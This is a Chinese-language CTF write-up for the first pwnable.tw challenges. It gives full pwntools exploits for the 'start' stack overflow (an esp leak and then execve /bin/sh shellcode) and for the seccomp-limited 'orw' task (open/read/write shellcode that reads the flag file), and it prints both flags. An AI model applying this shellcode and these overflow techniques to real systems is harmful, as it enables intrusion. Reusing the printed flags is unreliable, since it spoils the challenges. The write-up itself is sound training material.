0x00.绪论

pwnable.tw是一个世界范围内很有名的pwn题网站，作为主攻pwn的CTFer，上面的题对我而言自然是很有必要做的（当然我现在还太弱了XD

点开查看题解👇（~~当然也有可能我暂时还一题都没有做出来2333~~

注：原题皆可在本页面直接下载

0x01.start

nc chall.pwnable.tw 10000

点击下载-start

惯例的checksec，发现保护全关，暗示可以为所欲为23333

拖入IDA进行分析，~~直接傻眼，这都什么东西~~，整个程序只有一个_start函数和一个_exit函数

简单分析一下，该程序首先将esp的值、_exit函数的地址以及一串字符串let's start the CTF压入栈中

随后将esp的值传入ecx寄存器中，将0x14传入dl寄存器中，1传入bl寄存器中，4传入al寄存器中

之后int 0x80中断指令触发Linux系统调用，al寄存器的值作为参数，调用了0x80中断的系统函数sys_write()，将bl、dl、ecx的值作为参数传入，输出字符串

随后将0x3c传入dl寄存器中，3传入al寄存器中，之后int 0x80中断指令触发Linux系统调用，al寄存器的值作为参数，调用了0x80中断的系统函数sys_read()，将bl、dl、ecx的值作为参数传入，读入最大0x3c个字节

最后返回到_exit函数，退出程序

参见：linux系统调用

那么在这个过程当中，**esp与栈的变化如下**（字丑勿怪2333（图上应该是5次push，手快写错了XDDD

通过使用中断的方式调用系统函数，我们不难猜的出这应该是一个纯汇编写的程序

程序本身也没有其他多余的gadgets，在保护全关的情况下，我们可以考虑泄露esp的值，将shellcode输入到栈上，再控制程序跳转到栈上的shellcode以getshell

那么我们可以考虑先覆盖掉return address，控制其跳转至0x8048087，重新调用sys_write()输出栈上的内容，此时程序会将原esp的值输出出来

随后程序接着往下走，重新调用sys_read()，我们便可以在这里输入我们的第二段payload：20‘A’ + 通过泄露的esp的值计算出来的存放shellcode的栈地址 + shellcode*，这段payload用以getshell

简单分析我们可以知道经过第一次输入后的跳转再经过第二次输入后，栈上原esp+0x14-4的位置即是程序控制的返回地址，我们只需要在此处写上原esp+0x14，紧接着后面跟着覆盖上我们的shellcode即可getshell，整个过程如下图

因为输入只有60个字节，故考虑使用11号中断调用execve(“/bin/sh”)来getshell

;!c
;execve ("/bin/sh") 
xor ecx, ecx
mul ecx
push ecx
push 0x68732f2f   ;; hs//
push 0x6e69622f   ;; nib/
mov ebx, esp
mov al, 11
int 0x80

构造shellcode如下：

1	shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'

我们最后得到的exp如下：

from pwn import *
write_addr = 0x8048087
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'

p = process('./start')#p = remote('chall.pwnable.tw',10000)
payload1 = 'A'*0x14 + p32(write_addr)
p.recvuntil(':')
p.send(payload1)
esp_value = u32(p.recv(4))
payload2 = 'A'*0x14 + p32(esp_value+0x14) + shellcode#本地不明原因一直跑不通x
p.send(payload2)
p.interactive()

连接，发送我们的payload，成功得到flag（👈因为网不好连着试了好几次才成功…

得到flag：

1	FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}

0x02.orw

nc chall.pwnable.tw 10001

点击下载-orw

首先可以看到题目对环境做出了一定的限制

惯例的checksec，发现只开了canary

拖入IDA进行分析

主程序一开始会先调用orw_seccomp()函数，我们点进去康康

v4是canary的值，我们现在还不知道是否需要绕过canary，故先不予理会

接下来调用了qmemcpy()函数，实际上就是memcpy函数，将从0x8048640地址开始拷贝0x60字节的数据到v3中，随后赋值12给v1，v2作为指针获取v3的首字节地址

最后调用prctl()函数，结合题目的说明，我们大致可以猜测到orw_seccomp()函数的作用应该是禁用其他的系统调用，仅开放sys_read、sys_write、sys_open

也就是说我们无法通过sys_execve来getshell

接下来回到主函数，我们很容易看出该程序会读入最大0xC8字节输入并尝试执行该输入

结合题目说明，我们仅考虑构造shellcode来cat flag

（因为要绕过seccomp来getshell已经是kernel pwn 的级别le，233333）

故构造exp如下：

from pwn import *
shellcode = ""
shellcode += shellcraft.i386.pushstr("/home/orw/flag")
shellcode += shellcraft.i386.linux.syscall("SYS_open", 'esp')
shellcode += shellcraft.i386.linux.syscall("SYS_read", 'eax', 'esp', 0x30)
shellcode += shellcraft.i386.linux.syscall("SYS_write", 1, 'esp', 0x30)
p = remote('chall.pwnable.tw',10001)
p.sendline(asm(shellcode))
p.interactive()

向服务器发送我们的payload

成功得到flag

1	FLAG{sh3llc0ding_w1th_op3n_r34d_writ3}

0x03.CVE-2018-1160（×）

nc chall.pwnable.tw 10002

点击下载-netatalk.tgz

点击下载-libc.so

首先我们先看看CVE是个啥：

CVE 的英文全称是“Common Vulnerabilities & Exposures”通用漏洞披露。CVE就好像是一个字典表，为广泛认同的信息安全漏洞或者已经暴露出来的弱点给出一个公共的名称。使用一个共同的名字，可以帮助用户在各自独立的各种漏洞数据库中和漏洞评估工具中共享数据，虽然这些工具很难整合在一起。这样就使得CVE成为了安全信息共享的“关键字”。如果在一个漏洞报告中指明的一个漏洞，如果有CVE名称，你就可以快速地在任何其它CVE兼容的数据库中找到相应修补的信息，解决安全问题。

百度百科-CVE

好家伙，第三题直接上CVE，~~我直接当场暴毙做不出来跳过并进入下一题~~

惯例的checksec，保护全开（噔噔咚）